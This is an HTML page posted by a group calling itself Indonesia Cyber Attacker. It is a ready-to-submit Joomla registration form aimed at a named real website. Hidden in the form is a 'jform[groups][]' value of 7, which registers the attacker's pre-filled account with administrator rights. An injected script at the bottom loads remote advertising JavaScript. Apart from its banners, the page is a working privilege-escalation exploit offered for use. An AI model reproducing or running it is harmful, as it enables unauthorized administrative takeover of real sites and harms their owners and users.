Exploit COM_User

<br><center><font face="arial" color="RED" size="4">Exploit :
<br>
index.php?option=com_users&view=registration</font><font face="ARIALBLACK"
color="white">

<form id="member-registration" action="http://neotravel.com.pl//index.php?option=com_users&view=registration" method="post" class="form-validate">
<fieldset>
<legend>User Registration</legend><dl><dt><span class="spacer"><span class="before"></span><span class="text"><label id="jform_spacer-lbl" class=""><strong class="red">*</strong> Required field</label></span><span class="after"></span></span>                              </dt>
                <dd> </dd>
                                                <dt>
                <label id="jform_name-lbl" for="jform_name" class="hasTip required" title="Name::Enter your full name">Name:<span class="star">&#160;*</span></label>                               </dt>
                <dd><input type="text" name="jform[name]" id="jform_name" value="cesaret" class="required" size="30"/></dd>
                                                <dt>
                <label id="jform_username-lbl" for="jform_username" class="hasTip required" title="Username::Enter your desired user name">Username:<span class="star">&#160;*</span></label>                               </dt>
                <dd><input type="text" name="jform[username]" id="jform_username" value="Cesaret_99" class="validate-username required" size="30"/></dd>
                                                <dt>
                <label id="jform_password1-lbl" for="jform_password1" class="hasTip required" title="Password::Enter your desired password - Enter a minimum of 4 characters">Password (Jangan di edit):<span class="star">&#160;*</span></label>                               </dt>
                <dd><input type="password" name="jform[password1]" id="jform_password1" value="JGNDIEDITT3" autocomplete="off" class="validate-password required" size="30"/></dd>
                                                <dt>
                <label id="jform_password2-lbl" for="jform_password2" class="hasTip required" title="Confirm Password::Confirm your password">Confirm Password(Jangan di edit):<span class="star">&#160;*</span></label>                                </dt>
                <dd><input type="password" name="jform[password2]" id="jform_password2" value="JANGANDIEDIT" autocomplete="off" class="validate-password required" size="30"/></dd>
                                                <dt>
                <label id="jform_email1-lbl" for="jform_email1" class="hasTip required" title="Email Address::Enter your email address">Email Address:<span class="star">&#160;*</span></label>                             </dt>
                <dd><input type="text" name="jform[email1]" class="validate-email required" id="jform_email1" value="hariepradana@muslim.com" size="30"/></dd>
                                                <dt>
                <label id="jform_email2-lbl" for="jform_email2" class="hasTip required" title="Confirm email Address::Confirm your email address">Confirm email Address:<span class="star">&#160;*</span></label>                               </dt>
                <dd><input type="text" name="jform[email2]" class="validate-email required" id="jform_email2" value="hariepradana@muslim.com" size="30"/></dd>
<input name="jform[groups][]" value="7" size="30">
                                </dl>
        </fieldset>
            <div>
            <span class="wto-button-wrapper"><span class="wto-button-l"> </span><span class="wto-button-r"> </span><button type="submit" class="button validate wto-button">Register</button></span>
            or          <a href="/" title="Cancel">Cancel</a>
            <input type="hidden" name="option" value="com_users" />
            <input type="hidden" name="task" value="registration.register" />
            <input type="hidden" name="017c081e7baad9ce2a5744bdb9dd432d" value="1" />       </div>
    </form>

<hr>
</div></font></center><br><center><font face="arial" color="RED" size="4"><font face="arial" color="white" size="4">#</font>Indonesia</font><font face="arial" color="white" size="4">Cyber Attacker</font><font face="ARIALBLACK"

color="white"><marquee direction="left"loop="true" scrollamount="300"

><b>__________________________________________________________________________________________

___________________________________________________________________________________________</b

></marquee></font><script type="text/javascript">
writeContent(true);
</script>

</script><center>
</font>
<font face="ARIALBLACK" color="white">

<marquee loop="true" direction="right"

scrollamount="300"><b>________________________________________________________________________

______________________________________________________________________________________________

_______________</b></marquee></font>
</div></font></center><br><center><font face="arial" color="RED" size="4">[+] Indonesia Cyber Attacker Crew [+] </font><font face="ARIALBLACK"
color="white">
<br>
<br>
<font face="Courier New" size="3"><font color="WHITE"><i>Copyright@2013 by <a href="https://www.facebook.com/groups/indocyberattacker">Indonesia Cyber Attacker</a> </a></i></font><br></p>
<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs2.uzone.id/cfspushadsv2/request" + "?id=1" + "&enc=telkom2" + "&params=" + "4TtHaUQnUEiP6K%2fc5C582CL4NjpNgssKYG1FbN2Bv2kocRpNLPMmWJXahInndNLzocSewGELEzQCPUPEzkcxPTMam2AJS4OLyzdnT1evRwrOkzk8FUHfQOTZE1f7rah%2bqzpm%2bzla6E8Ms%2frEKGoiArJ%2fKBhal3PXI43JcvCC%2bqDTVFum59hPMgK2MFW8pcdWCjxJ2hMVB0%2f3gCsVCaRcx2CiNlQ7NLX9VBiQ0vqqYwK%2fqKTFk4BiPFmtWV3nqXU%2b74ZwLEtvCmFWbziGXnQSc3WIdvG4UJay3GKDeJymfT0Q3GJey%2bbh35keAVEvX176xZ3nVdoA1ontI0oOmmvlVeCG2inSRJR1TktnHUjsDY5BuZsiwbgmuApJ2L0aXwVr3BHjj5Lw%2f4d4OPca5QHavvjm0U3ffChEZt7XnjYgZiE4SRAMywNrLweYg5TCWIgRdw8sB7VWyxLG0V5OHut2SoDhAz6mgNvItF9zj9Vxtv9o0WCALXGoUuBr82WXuPJZj8HpA%2b%2bHhouW7i8iNusD6%2bHM82w1vef0ahhaH00hQPIh5iC6jJGjAIKAP0hupx4L4aEZ0YvkCAOf5ozlz%2ftzQnzrLkqmWZePQVE6kgBnx9Gqgv9PrnVfGqScOH8%2bvywI0u6kLPe92GEy466aygJWvyrozPtAPH7FJ3godwm%2fKg1fs45JuT1VoQ%3d%3d" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body>
</html>
</body>
</html>